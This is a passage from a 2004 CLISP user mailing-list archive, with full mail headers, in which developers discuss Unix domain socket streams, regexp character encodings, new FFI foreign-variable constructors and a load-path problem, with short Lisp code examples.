, List-Archive: Date: Mon Oct 4 09:45:41 2004 X-Original-Date: Mon, 04 Oct 2004 12:41:56 -0400 > * Hoehle, Joerg-Cyril [2004-10-04 17:52:36 +0200]: > > I only see mention of UDP, ARP, ICMP. Me too does not care about these here. > So where's the objection to the present topic? I don't care enough about this to do research myself. Maybe Bruno will speak up on this again? >>The handle is duplicated (with dup/dup2), so it is safe to CLOSE a >>STREAM returned by EXT:MAKE-STREAM. > That's unclear to me. One SHOULD close the stream returned by > MAKE-STREAM after use, don't you think? And one SHOULD immediately > RAWSOCK:SOCK-CLOSE the original fd, shouldn't s/he? of course. I will add this shortly: (defun open-unix-socket-stream (pathname &rest opts &key (type :SOCK_STREAM)) "Return the lisp STREAM pointing to this UNIX socket special device. The return value is already FINALIZEd by CLOSE. Passes :TYPE to SOCKET and all the other options to MAKE-STREAM." (multiple-value-bind (sock address) (open-unix-socket pathname type) (ext:remove-plist opts :type) (let ((stream (apply #'ext:make-stream sock opts))) (finalize stream #'close) (sock-close sock) (values stream address)))) > And still, these are second-class citizens, because CLISP will not > free such a socket via GC whereas it does for the X11 socket as well > as the others. if you only use OPEN-UNIX-SOCKET-STREAM, you should be OK. > So add a EXT:FINALIZE. Well no. That's broken, because nobody knows > whether the socket has already been closed, unlike their core > socket/file-streams unequal sisters. nope, the above should work just fine. -- Sam Steingold (http://www.podval.org/~sds) running w2k Whom computers would destroy, they must first drive mad. From cmarinas@ntlworld.com Mon Oct 04 09:45:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEVyG-0004ju-Go for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:45:56 -0700 Received: from ipass.cambridge.arm.com ([193.131.176.58] helo=cam-admin0.cambridge.arm.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEVx1-0002mb-73 for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:45:56 -0700 Received: from cam-mail2.cambridge.arm.com (cam-mail2.cambridge.arm.com [10.1.127.39]) by cam-admin0.cambridge.arm.com (8.12.10/8.12.10) with ESMTP id i94GhZxm016759 for ; Mon, 4 Oct 2004 17:43:35 +0100 (BST) Received: from pc1117.cambridge.arm.com (cmarinas@pc1117.cambridge.arm.com [10.1.69.160]) by cam-mail2.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id RAA02842 for ; Mon, 4 Oct 2004 17:43:10 +0100 (BST) From: Catalin Marinas To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1096901987.30876.80.camel@pc1117> <1096905100.30882.87.camel@pc1117> Content-Type: text/plain Message-Id: <1096908251.30881.89.camel@pc1117> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Content-Transfer-Encoding: 7bit X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 09:48:50 2004 X-Original-Date: Mon, 04 Oct 2004 17:44:11 +0100 On Mon, 2004-10-04 at 17:20, Sam Steingold wrote: > > Is there a way to enable this encoding for regexp-compile or > > regexp-exec? > > you need to set *MISC-ENCODING* to avoid this error. > Note that OS-supplied regexp library uses "the current encoding from the > OS" (as specified by SUS6) internally, so YMMV wrt matching behavior. Thanks for all the replies. It works now. Best regards, Catalin From sds@gnu.org Mon Oct 04 10:00:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEWBr-0000KL-A0 for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:59:59 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEWBp-0002B6-Fl for clisp-list@lists.sourceforge.net; Mon, 04 Oct 2004 09:59:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i94GxmXB004424; Mon, 4 Oct 2004 12:59:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301AEB497@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Mon, 4 Oct 2004 18:13:24 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301AEB497@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: AW: Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 4 10:06:53 2004 X-Original-Date: Mon, 04 Oct 2004 12:59:48 -0400 > * Hoehle, Joerg-Cyril [2004-10-04 18:13:24 +0200]: > >>Is there a way to enable this encoding for regexp-compile or >>regexp-exec? This is where I get the error. > custom:*foreign-encoding* This is not FFI. Use the source, Luke! custom:*misc-encoding* is used there. -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 05 00:01:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEjKd-0006l3-HE for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 00:01:55 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEjKc-0000pm-4I for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 00:01:55 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Oct 2004 09:00:36 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4HAB2BYQ>; Tue, 5 Oct 2004 09:00:46 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301AEB515@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] AW: AW: binding to Unix domain sockets -- 95% of it has been ther e fo r ag es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 00:09:04 2004 X-Original-Date: Tue, 5 Oct 2004 09:00:46 +0200 Sam wrote: >> So add a EXT:FINALIZE. Well no. That's broken, because nobody knows >> whether the socket has already been closed, unlike their core >> socket/file-streams unequal sisters. > (finalize stream #'close) >nope, the above should work just fine. You're right. CL:CLOSE knows not to internally close twice. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 05 01:18:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEkWV-0000Mj-85 for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 01:18:15 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEkWT-0007Mo-Vh for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 01:18:15 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Oct 2004 10:17:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4G00KW30>; Tue, 5 Oct 2004 10:16:31 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301AEB562@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 01:27:31 2004 X-Original-Date: Tue, 5 Oct 2004 10:16:28 +0200 Sam wrote: >This is not FFI. >Use the source, Luke! I very much prefer to read the documentation. Encoding issues are not mentioned in the section on the regexp extension. >custom:*misc-encoding* is used there. I forgot that regexp was turned from an FFI module to a link-module, sorry. The present case shows that this move introduced a change in user-visible behaviour. This change is not reflected in the documentation. It's a change in the API. BTW, the part on REGEXP:REGEXP-MATCHER "because CLISP uses CHARSET:UTF-8 internally" is a little confusing to me in this light. It sounds like encodings would play no role when using the regexp module because it's fixed. Similarly, "POSIX constrains regex.h to use the current locale" is confusing to me: what does that mean to users of the module? I tend to interpret it as meaning that if I started CLISP in the typical C locale, then there's no way I can use the regexp module to handle strings containing ISO-8859-1 data (unless I can modify the current locale frmo within CLISP) -- Ouch!?! Regards, Jorg Hohle. From sds@gnu.org Tue Oct 05 06:26:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEpKz-0006qC-2h for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 06:26:41 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEpJs-0002l2-H7 for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 06:26:41 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i95DPLsW008590; Tue, 5 Oct 2004 09:25:22 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301AEB562@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 5 Oct 2004 10:16:28 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301AEB562@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: Charsets and #\Degree_sign Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 06:29:38 2004 X-Original-Date: Tue, 05 Oct 2004 09:25:21 -0400 > * Hoehle, Joerg-Cyril [2004-10-05 10:16:28 +0200]: > > BTW, the part on REGEXP:REGEXP-MATCHER "because CLISP uses > CHARSET:UTF-8 internally" is a little confusing to me in this > light. It sounds like encodings would play no role when using the > regexp module because it's fixed. lisp strings have to be converted to C strings before passing them to the regexp library, and that is done using encodings. > Similarly, "POSIX constrains regex.h to use the current locale" is > confusing to me: what does that mean to users of the module? it means that posix regexp interprets strings in the current locale only. > I tend to interpret it as meaning that if I started CLISP in the > typical C locale, then there's no way I can use the regexp module to > handle strings containing ISO-8859-1 data (unless I can modify the > current locale frmo within CLISP) -- Ouch!?! not just "Ouch" -- O_U_C_H!!! -- Sam Steingold (http://www.podval.org/~sds) running w2k We are born naked, wet, and hungry. Then things get worse. From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 05 09:02:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CErlM-0007Jv-HG for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 09:02:04 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CErkZ-0000YX-I1 for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 09:02:04 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 5 Oct 2004 18:00:55 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4HABJKT7>; Tue, 5 Oct 2004 18:01:05 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301CA9EAC@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor (was: FFI and C-POINTERs) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 09:03:32 2004 X-Original-Date: Tue, 5 Oct 2004 18:01:02 +0200 Hi, CVS CLISP now contains both ffi:foreign-variable and = ffi:foreign-function constructors. This helps avoid some (with-c-var (p 'c-pointer x)=20 (cast p `(c-ptr (c-array elt-type ,len))) whose sole purpose was type conversion. with-c-var and with-foreign wrap their body in a thunk (aka. closure) = and create an unwind-protect frame so they have much higher overhead = than simple constructors. Here's an example problem from Sam Steingold from August 2003 Subject: FFI: variable size values (was FFI crash: what am I missing?!) >> >E.g., suppose >> > int* foo(); >> >will return the array of integers of size N, where N is the return >> >value of another function >> > int foo_size(); >> >how do I express foo() and foo_size() in CLISP FFI? Back then, the answer was: (def-call-out %foo1 (:name "foo") (:return-type c-pointer) (:language :stdc)) (defun foo1 () (let ((ptr (%foo1))) (when ptr (with-c-var (array 'c-pointer ptr) (cast array `(c-ptr (c-array sint ,(foo-size)))))))) These days, you have two possibilities: (defun foo2 () (let ((buf (%foo1))) (when buf (foreign-variable buf (parse-c-type `(c-array int ,(foo-size))) :name "foo")))) Or, using the new (C-POINTER X) type declaration, which creates = foreign-variable objects so only CAST (OFFSET) is needed to adjust the = array size: (def-call-out %foo1 (:name "foo") (:return-type (c-pointer int)) (:language :stdc)) (defun foo3 () (let ((buf (%foo1))) (when buf (with-c-place (p buf) (c-var-object (offset p 0 `(c-array int ,(foo-size)))))))) with-c-place is just macro substitution. It has little to do with = with-foreign-object and with-c-var (who follows me here?). Both these functions are much more performant than the original one. = I'd be grateful if somebody posted timings. [23]> (foo2) # [24]> (foo3) # [25]> (foreign-value(foo3)) #(97 98 99) [26]> (foreign-value(foo2)) #(97 98 99) Regards, J=F6rg H=F6hle. From sds@gnu.org Tue Oct 05 10:59:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEtat-0005ek-VO for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 10:59:23 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEtZV-0006ji-Gd for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 10:59:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i95HvksW007865; Tue, 5 Oct 2004 13:57:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CA9EAC@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 5 Oct 2004 18:01:02 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CA9EAC@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 11:00:09 2004 X-Original-Date: Tue, 05 Oct 2004 13:57:46 -0400 > * Hoehle, Joerg-Cyril [2004-10-05 18:01:02 +0200]: > > CVS CLISP now contains both ffi:foreign-variable and > ffi:foreign-function constructors. thanks! please note that pushSTACK(listof()) has undefined consequences and should be avoided - unless you want to kill a couple of hours chasing platform-specific bugs... (I fixed it in foreign.d) -- Sam Steingold (http://www.podval.org/~sds) running w2k What's the difference between Apathy & Ignorance? -I don't know and don't care! From sds@gnu.org Tue Oct 05 11:03:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEteT-0006gh-Vu for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 11:03:05 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEtdA-0002Xp-D0 for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 11:03:05 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i95I1ZsW009421; Tue, 5 Oct 2004 14:01:36 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CA9EAC@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 5 Oct 2004 18:01:02 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CA9EAC@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 11:04:03 2004 X-Original-Date: Tue, 05 Oct 2004 14:01:36 -0400 > * Hoehle, Joerg-Cyril [2004-10-05 18:01:02 +0200]: > > CVS CLISP now contains both ffi:foreign-variable and > ffi:foreign-function constructors. you have to document this in the impnotes! > Here's an example problem from Sam Steingold from August 2003 please add this example to impnotes too! thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Why use Windows, when there are Doors? From pascal@informatimago.com Tue Oct 05 13:34:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEw0z-0001rO-T1 for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 13:34:29 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CEw0v-00036j-Dg for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 13:34:29 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A8F85586E6; Tue, 5 Oct 2004 22:34:19 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D34ACFEE1; Tue, 5 Oct 2004 22:33:49 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041005203349.D34ACFEE1@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 13:35:53 2004 X-Original-Date: Tue, 5 Oct 2004 22:33:49 +0200 (CEST) Hello, I've got problems with load paths. The package has this directory structure: plisp/compiler/build.lisp plisp/compiler/x.lisp plisp/common-lisp/y.lisp the build.lisp file contains load commands: (load "x") ;; ... (load "common-lisp/y") I cannot find a configuration for custom:*load-paths* or *default-pathname-defautls* that is able to work. It can load the x files, but not the y files. Would it be possible to load it without modifying the distributed "build.lisp"? % /usr/local/bin/clisp -q -ansi -norc [1]> (setf (logical-pathname-translations "PACKAGES") '(("**;*" "/usr/local/share/lisp/packages/**/*") ("**;*.*" "/usr/local/share/lisp/packages/**/*.*") ("**;*.*.*" "/usr/local/share/lisp/packages/**/*.*"))) ((#P"PACKAGES:**;*" "/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" "/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" "/usr/local/share/lisp/packages/**/*.*")) [2]> (let* ((*default-pathname-defaults* (translate-logical-pathname "packages:com;1729;plisp;")) (custom:*load-paths* (list "packages:com;1729;plisp;" "packages:com;1729;plisp;compiler;" ))) (load "build")) ;; Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/build.lisp ... ;; Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/vars.lisp ... ;; Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/vars.lisp [...] ;; Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/flow.lisp ... ;; Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/flow.lisp ;; Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/util.lisp ... ;; Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/util.lisp *** - LOAD: A file with name common-lisp/bind does not exist Break 1 [3]> -- __Pascal Bourguignon__ http://www.informatimago.com/ To vote Democrat or Republican, it's like changing of cabin in the Titanic. From pascal@informatimago.com Tue Oct 05 